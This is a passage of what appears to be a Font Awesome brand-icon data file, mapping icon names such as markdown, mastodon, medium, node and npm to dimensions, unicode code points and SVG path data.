0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z"],
	"markdown": [640, 512, [], "f60f", "M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z"],
	"mastodon": [448, 512, [], "f4f6", "M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"],
	"maxcdn": [512, 512, [], "f136", "M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z"],
	"mdb": [576, 512, [], "f8ca", "M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z"],
	"medapps": [320, 512, [], "f3c6", "M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z"],
	"medium": [448, 512, [], "f23a", "M0 32v448h448V32H0zm372.2 106.1l-24 23c-2.1 1.6-3.1 4.2-2.7 6.7v169.3c-.4 2.6.6 5.2 2.7 6.7l23.5 23v5.1h-118V367l24.3-23.6c2.4-2.4 2.4-3.1 2.4-6.7V199.8l-67.6 171.6h-9.1L125 199.8v115c-.7 4.8 1 9.7 4.4 13.2l31.6 38.3v5.1H71.2v-5.1l31.6-38.3c3.4-3.5 4.9-8.4 4.1-13.2v-133c.4-3.7-1-7.3-3.8-9.8L75 138.1V133h87.3l67.4 148L289 133.1h83.2v5z"],
	"medium-m": [512, 512, [], "f3c7", "M71.5 142.3c.6-5.9-1.7-11.8-6.1-15.8L20.3 72.1V64h140.2l108.4 237.7L364.2 64h133.7v8.1l-38.6 37c-3.3 2.5-5 6.7-4.3 10.8v272c-.7 4.1 1 8.3 4.3 10.8l37.7 37v8.1H307.3v-8.1l39.1-37.9c3.8-3.8 3.8-5 3.8-10.8V171.2L241.5 447.1h-14.7L100.4 171.2v184.9c-1.1 7.8 1.5 15.6 7 21.2l50.8 61.6v8.1h-144v-8L65 377.3c5.4-5.6 7.9-13.5 6.5-21.2V142.3z"],
	"medrt": [544, 512, [], "f3c8", "M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z"],
	"meetup": [512, 512, [], "f2e0", "M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z"],
	"megaport": [496, 512, [], "f5a3", "M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z"],
	"mendeley": [640, 512, [], "f7b3", "M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z"],
	"microblog": [448, 512, [], "e01a", "M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z"],
	"microsoft": [448, 512, [], "f3ca", "M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z"],
	"mix": [448, 512, [], "f3cb", "M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z"],
	"mixcloud": [640, 512, [], "f289", "M424.43 219.729C416.124 134.727 344.135 68 256.919 68c-72.266 0-136.224 46.516-159.205 114.074-54.545 8.029-96.63 54.822-96.63 111.582 0 62.298 50.668 112.966 113.243 112.966h289.614c52.329 0 94.969-42.362 94.969-94.693 0-45.131-32.118-83.063-74.48-92.2zm-20.489 144.53H114.327c-39.04 0-70.881-31.564-70.881-70.604s31.841-70.604 70.881-70.604c18.827 0 36.548 7.475 49.838 20.766 19.963 19.963 50.133-10.227 30.18-30.18-14.675-14.398-32.672-24.365-52.053-29.349 19.935-44.3 64.79-73.926 114.628-73.926 69.496 0 125.979 56.483 125.979 125.702 0 13.568-2.215 26.857-6.369 39.594-8.943 27.517 32.133 38.939 40.147 13.29 2.769-8.306 4.984-16.889 6.369-25.472 19.381 7.476 33.502 26.303 33.502 48.453 0 28.795-23.535 52.33-52.607 52.33zm235.069-52.33c0 44.024-12.737 86.386-37.102 122.657-4.153 6.092-10.798 9.414-17.72 9.414-16.317 0-27.127-18.826-17.443-32.949 19.381-29.349 29.903-63.682 29.903-99.122s-10.521-69.773-29.903-98.845c-15.655-22.831 19.361-47.24 35.163-23.534 24.366 35.993 37.102 78.356 37.102 122.379zm-70.88 0c0 31.565-9.137 62.021-26.857 88.325-4.153 6.091-10.798 9.136-17.72 9.136-17.201 0-27.022-18.979-17.443-32.948 13.013-19.104 19.658-41.255 19.658-64.513 0-22.981-6.645-45.408-19.658-64.512-15.761-22.986 19.008-47.095 35.163-23.535 17.719 26.026 26.857 56.483 26.857 88.047z"],
	"mixer": [512, 512, [], "e056", "M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z"],
	"mizuni": [496, 512, [], "f3cc", "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z"],
	"modx": [448, 512, [], "f285", "M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z"],
	"monero": [496, 512, [], "f3d0", "M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z"],
	"napster": [496, 512, [], "f3d2", "M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z"],
	"neos": [512, 512, [], "f612", "M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z"],
	"nimblr": [384, 512, [], "f5a8", "M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z"],
	"node": [640, 512, [], "f419", "M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z"],
	"node-js": [448, 512, [], "f3d3", "M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z"],
	"npm": [576, 512, [], "f3d4", "M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z"],
	"ns8": [640, 512, [], "f3d5", "M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.